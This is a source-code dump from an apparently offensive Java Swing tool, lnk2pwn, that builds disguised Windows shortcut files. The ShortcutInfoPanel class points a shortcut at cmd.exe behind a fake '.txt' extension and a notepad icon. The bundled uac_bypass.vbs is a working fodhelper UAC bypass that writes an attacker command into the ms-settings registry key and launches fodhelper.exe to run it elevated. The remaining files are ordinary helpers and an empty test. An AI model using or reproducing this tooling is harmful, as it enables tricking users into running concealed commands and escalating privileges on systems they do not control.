    "content": "package com.itgorillaz.lnk2pwn.view.form;\n\nimport javax.annotation.PostConstruct;\nimport javax.swing.event.ChangeEvent;\nimport javax.swing.event.ChangeListener;\nimport javax.swing.event.DocumentEvent;\nimport javax.swing.event.DocumentListener;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Component;\n\nimport com.alee.laf.combobox.WebComboBox;\nimport com.alee.laf.label.WebLabel;\nimport com.alee.laf.panel.WebPanel;\nimport com.alee.laf.text.WebTextField;\nimport com.itgorillaz.lnk2pwn.model.Shortcut;\n\nimport net.miginfocom.swing.MigLayout;\n\n@Component\npublic class ShortcutInfoPanel extends WebPanel implements DocumentListener, ChangeListener {\n\n    private static final long serialVersionUID = 4663408720514745622L;\n    \n    private final String DEFAULT_TARGET_PATH = \"C:\\\\Windows\\\\System32\\\\cmd.exe\";\n    private final String DEFAULT_WORKING_DIR = \"C:\\\\Windows\\\\System32\";\n    private final String DEFAULT_ARGUMENTS = \"/c notepad.exe\";\n    private final String DEFAULT_FAKE_EXTENSION = \".txt\";\n    private final String DEFAULT_ICON_DLL = \"C:\\\\Windows\\\\System32\\\\notepad.exe\";\n    private final String[] WINDOW_STYLES = {\"MINIMIZED\", \"MAXIMIZED\", \"NORMAL\"};\n    \n    private WebTextField targetPathField = new WebTextField();\n    private WebTextField workingDirField = new WebTextField();\n    private WebTextField argumentsField = new WebTextField();\t\n    private WebTextField shortcutFileNameField = new WebTextField();\n    private WebTextField fakeExtensionField = new WebTextField();\n    private WebTextField iconPathField = new WebTextField();\n    private WebTextField iconIndexField = new WebTextField();\n    private WebComboBox windowStyleComboBox = new WebComboBox(WINDOW_STYLES);\n    \n    @Autowired\n    private Shortcut shortcut;\n        \n    @PostConstruct\n    private void initComponents() {\t\t\n        this.setLayout(new MigLayout(\"\", \"[grow]\", \"\"));\n        \n        targetPathField.getDocument().addDocumentListener(this);\n        workingDirField.getDocument().addDocumentListener(this);\n        argumentsField.getDocument().addDocumentListener(this);\n        shortcutFileNameField.getDocument().addDocumentListener(this);\n        fakeExtensionField.getDocument().addDocumentListener(this);\n        iconPathField.getDocument().addDocumentListener(this);\n        iconIndexField.getDocument().addDocumentListener(this);\n        \n        targetPathField.setText(DEFAULT_TARGET_PATH);\n        workingDirField.setText(DEFAULT_WORKING_DIR);\n        argumentsField.setText(DEFAULT_ARGUMENTS);\n        fakeExtensionField.setText(DEFAULT_FAKE_EXTENSION);\n        iconPathField.setText(DEFAULT_ICON_DLL);\n                        \n        WebPanel targetAndWorkingDirPanel = createTargetPathAndWorkingDirPanel();\n        WebPanel argumentsPanel = createArgumentsPanel();\t\t\n        WebPanel shortcutDetailsPanel = createShortcutDetailsPanel();\n        \n        this.add(targetAndWorkingDirPanel, \"grow,wrap\");\n        this.add(argumentsPanel, \"grow,wrap\");\t\t\n        this.add(shortcutDetailsPanel, \"grow,wrap\");\n    }\n    \n    private WebPanel createTargetPathAndWorkingDirPanel() {\n        MigLayout layout = new MigLayout(\"\", \"[grow][grow]\", \"\");\n        WebPanel panel = new WebPanel();\n        panel.setLayout(layout);\n        panel.add(new WebLabel(\"Target Path\"));\n        panel.add(new WebLabel(\"Working Dir\"), \"wrap\");\n        panel.add(targetPathField, \"grow\");\t\t\t\n        panel.add(workingDirField, \"grow\");\n        return panel;\n    }\n    \n    private WebPanel createArgumentsPanel() {\n        MigLayout layout = new MigLayout(\"\", \"[grow]\", \"\");\n        WebPanel panel = new WebPanel();\n        panel.setLayout(layout);\n        panel.add(new WebLabel(\"Arguments\"), \"wrap\");\n        panel.add(argumentsField, \"grow\");\n        return panel;\n    }\n    \n    private WebPanel createShortcutDetailsPanel() {\n        MigLayout layout = new MigLayout(\"\", \"[grow][grow][grow][][grow]\", \"\");\n        WebPanel panel = new WebPanel();\n        panel.setLayout(layout);\n        panel.add(new WebLabel(\"File Name\"));\n        panel.add(new WebLabel(\"Fake Extension\"));\n        panel.add(new WebLabel(\"Icon Location\"));\n        panel.add(new WebLabel(\"Icon Index\"));\n        panel.add(new WebLabel(\"Window Style\"), \"wrap\");\t\t\t\t\t\t\n        panel.add(shortcutFileNameField, \"grow\");\t\t\n        panel.add(fakeExtensionField, \"grow\");\t\t\t\t\n        panel.add(iconPathField, \"grow\");\n        panel.add(iconIndexField, \"grow\");\n        panel.add(windowStyleComboBox, \"grow\");\n        \n        return panel;\n    }\n    \n    @Override\n    public void changedUpdate(DocumentEvent arg0) {\n        updateModel();\n    }\n\n    @Override\n    public void insertUpdate(DocumentEvent arg0) {\n        updateModel();\n    }\n\n    @Override\n    public void removeUpdate(DocumentEvent arg0) {\n        updateModel();\n    }\n    \n    @Override\n    public void stateChanged(ChangeEvent arg0) {\n        updateModel();\t\t\n    }\n    \n    private void updateModel() {\n        Integer iconIndex = null;\n        \n        try {\n            iconIndex = Integer.parseInt(iconIndexField.getText());\n        } catch(NumberFormatException e) {\n            // do nothing\n        }\n        \n        shortcut.setTargetPath(targetPathField.getText());\t\t\n        shortcut.setWorkingDir(workingDirField.getText());\n        shortcut.setArguments(argumentsField.getText());\t\t\n        shortcut.setFileName(shortcutFileNameField.getText());\n        shortcut.setFakeExtension(fakeExtensionField.getText());\n        shortcut.setIconLocation(iconPathField.getText());\n        shortcut.setIconIndex(iconIndex);\n        shortcut.setWindowStyle(String.valueOf(windowStyleComboBox.getSelectedItem()));\t\t\n    }\n    \n}\n"
  },
  {
    "path": "src/main/java/com/itgorillaz/lnk2pwn/view/form/UACBypassPanel.java",
    "content": "package com.itgorillaz.lnk2pwn.view.form;\n\nimport java.awt.Color;\nimport java.awt.event.KeyEvent;\nimport java.awt.event.KeyListener;\n\nimport javax.annotation.PostConstruct;\nimport javax.swing.event.DocumentEvent;\nimport javax.swing.event.DocumentListener;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.stereotype.Component;\n\nimport com.alee.laf.label.WebLabel;\nimport com.alee.laf.panel.WebPanel;\nimport com.alee.laf.scroll.WebScrollPane;\nimport com.alee.laf.text.WebTextArea;\nimport com.alee.laf.text.WebTextField;\nimport com.itgorillaz.lnk2pwn.model.Shortcut;\nimport com.itgorillaz.lnk2pwn.view.utils.ColorUtils;\n\nimport net.miginfocom.swing.MigLayout;\n\n@Component\npublic class UACBypassPanel extends WebPanel implements KeyListener, DocumentListener {\n\n    private static final long serialVersionUID = 8564799804491915041L;\n\n    private final String DEFAULT_UAC_BYPASS_FILE_NAME = \"uac_bypass.vbs\";\t\n    private final Color COMMAND_BG_COLOR = ColorUtils.hex2Rgb(\"#1e1e1e\");\n    \n    private WebTextField uacFileNameField = new WebTextField();\n    private WebTextArea uacCommandTextArea = new WebTextArea();\n    private WebTextArea uacOuputTextArea = new WebTextArea();\n    \n    @Autowired\n    @Qualifier(\"VBSSourceCode\")\n    private String vbsSourceCode;\n    \n    @Autowired\n    private Shortcut shortcut;\n    \n    @PostConstruct\n    private void initComponents() {\n        MigLayout layout = new MigLayout(\"\", \"[grow]\", \"\");\n        this.setLayout(layout);\n        this.add(createUACFileNamePanel(), \"grow,wrap\");\n        this.add(createUACCommandPanel(), \"grow,wrap\");\n        \n        uacFileNameField.getDocument().addDocumentListener(this);\n        uacOuputTextArea.getDocument().addDocumentListener(this);\n        uacCommandTextArea.addKeyListener(this);\n        \n        uacFileNameField.setText(DEFAULT_UAC_BYPASS_FILE_NAME);\t\t\t\n        uacOuputTextArea.setText(vbsSourceCode);\t\t\t\t\t\n    }\n    \n    @Override\n    public void keyReleased(KeyEvent event) {\n        changeOutput(uacCommandTextArea.getText());\n    }\n    \n    @Override\n    public void keyPressed(KeyEvent event) {\n        \n    }\n    \n    @Override\n    public void keyTyped(KeyEvent event) {\n        \n    }\n    \n    private void changeOutput(String command) {\n        command = command.replace(System.lineSeparator(), \"\");\n        String output = String.format(vbsSourceCode, command);\n        uacOuputTextArea.setText(output);\n    }\n    \n    private WebPanel createUACFileNamePanel() {\n        MigLayout layout = new MigLayout(\"\", \"[grow]\", \"\");\n        WebPanel panel = new WebPanel();\n        panel.setLayout(layout);\n        panel.add(new WebLabel(\"File Name(.vbs)\"), \"wrap\");\n        panel.add(uacFileNameField, \"grow\");\n        return panel;\n    }\n    \n    private WebPanel createUACCommandPanel() {\n        MigLayout layout = new MigLayout(\"\", \"[grow][grow]\", \"[][grow]\");\n        WebPanel panel = new WebPanel();\n        panel.setLayout(layout);\n        panel.add(new WebLabel(\"Command\"));\n        panel.add(new WebLabel(\"Output\"), \"wrap\");\n                        \n        uacCommandTextArea.setLineWrap(true);\n        uacCommandTextArea.setBackground(COMMAND_BG_COLOR);\n        uacCommandTextArea.setForeground(Color.WHITE);\n        \n        uacOuputTextArea.setLineWrap(true);\n        uacOuputTextArea.setBackground(COMMAND_BG_COLOR);\n        uacOuputTextArea.setForeground(Color.WHITE);\n        \n        WebScrollPane uacCommandAreaScroll = new WebScrollPane(uacCommandTextArea);\t\t\n        WebScrollPane uacOuputAreaScroll = new WebScrollPane(uacOuputTextArea);\n        \n        panel.add(uacCommandAreaScroll, \"w 100%, h 100%, hmin 250\");\n        panel.add(uacOuputAreaScroll, \"w 100%, h 100%, hmin 250\");\n        \n        return panel;\n    }\n    \n    @Override\n    public void changedUpdate(DocumentEvent e) {\n        updateModel();\t\t\t\n    }\n\n    @Override\n    public void insertUpdate(DocumentEvent e) {\n        updateModel();\n    }\n\n    @Override\n    public void removeUpdate(DocumentEvent e) {\n        updateModel();\n    }\n    \n    private void updateModel() {\n        shortcut.setCommand(uacCommandTextArea.getText().trim());\n        shortcut.setCommandOuput(uacOuputTextArea.getText().trim());\n        shortcut.setVbsFileName(uacFileNameField.getText().trim());\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/itgorillaz/lnk2pwn/view/utils/ColorUtils.java",
    "content": "package com.itgorillaz.lnk2pwn.view.utils;\n\nimport java.awt.Color;\n\npublic class ColorUtils {\n\n    public static Color hex2Rgb(String hex) {\n        return new Color(\n                Integer.valueOf( hex.substring( 1, 3 ), 16 ),\n                Integer.valueOf( hex.substring( 3, 5 ), 16 ),\n                Integer.valueOf( hex.substring( 5, 7 ), 16 ) );\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/itgorillaz/lnk2pwn/view/utils/IconFactory.java",
    "content": "package com.itgorillaz.lnk2pwn.view.utils;\n\nimport java.net.URL;\n\nimport javax.swing.ImageIcon;\n\npublic class IconFactory {\n\n    private static final String ICON_PATH = \"icons/\";\n    \n    public static ImageIcon getIcon(String name) {\n        ClassLoader loader = IconFactory.class.getClassLoader();\n        URL url = loader.getResource(ICON_PATH + name);        \n        return new ImageIcon(url);\n    }\n}\n"
  },
  {
    "path": "src/main/resources/log4j.properties",
    "content": "# Root logger option\nlog4j.rootLogger=INFO, stdout\n\n# Direct log messages to stdout\nlog4j.appender.stdout=org.apache.log4j.ConsoleAppender\nlog4j.appender.stdout.Target=System.out\nlog4j.appender.stdout.layout=org.apache.log4j.PatternLayout\nlog4j.appender.stdout.layout.ConversionPattern=%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n"
  },
  {
    "path": "src/main/resources/vbs/uac_bypass.vbs",
    "content": "Const HKEY_CURRENT_USER = &H80000001\n\nConst FodHelperPath = \"C:\\\\Windows\\\\System32\\\\fodhelper.exe\"\nConst RegKeyPathStr = \"SOFTWARE\\\\Classes\\\\ms-settings\\\\shell\\\\open\\\\command\"\nConst RegKeyPath = \"Software\\\\Classes\\\\ms-settings\\\\shell\\\\open\\\\command\"\nConst DelegateExecRegKeyName = \"DelegateExecute\"\nConst DelegateExecRegKeyValue = \"\"\nConst DefaultRegKeyName = \"\"\nConst DefaultRegKeyValue = \"%s\"\n\nConst RegObjectPath = \"winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv\"\nSet Registry = GetObject(RegObjectPath)\n\nRegistry.CreateKey HKEY_CURRENT_USER, RegKeyPath\nRegistry.SetStringValue HKEY_CURRENT_USER, RegKeyPathStr, DelegateExecRegKeyName, DelegateExecRegKeyValue\nRegistry.SetStringValue HKEY_CURRENT_USER, RegKeyPathStr, DefaultRegKeyName, DefaultRegKeyValue\n\nSet Shell = WScript.CreateObject(\"WScript.Shell\")\nShell.Run FodHelperPath, 0, False"
  },
  {
    "path": "src/test/java/com/itgorillaz/lnk2pwn/AppTest.java",
    "content": "package com.itgorillaz.lnk2pwn;\n\nimport junit.framework.Test;\nimport junit.framework.TestCase;\nimport junit.framework.TestSuite;\n\n/**\n * Unit test for simple App.\n */\npublic class AppTest \n    extends TestCase\n{\n    /**\n     * Create the test case\n     *\n     * @param testName name of the test case\n     */\n    public AppTest( String testName )\n    {\n        super( testName );\n    }\n\n    /**\n     * @return the suite of tests being tested\n     */\n    public static Test suite()\n    {\n        return new TestSuite( AppTest.class );\n    }\n\n    /**\n     * Rigourous Test :-)\n     */\n    public void testApp()\n    {\n        assertTrue( true );\n    }\n}\n"
  }
]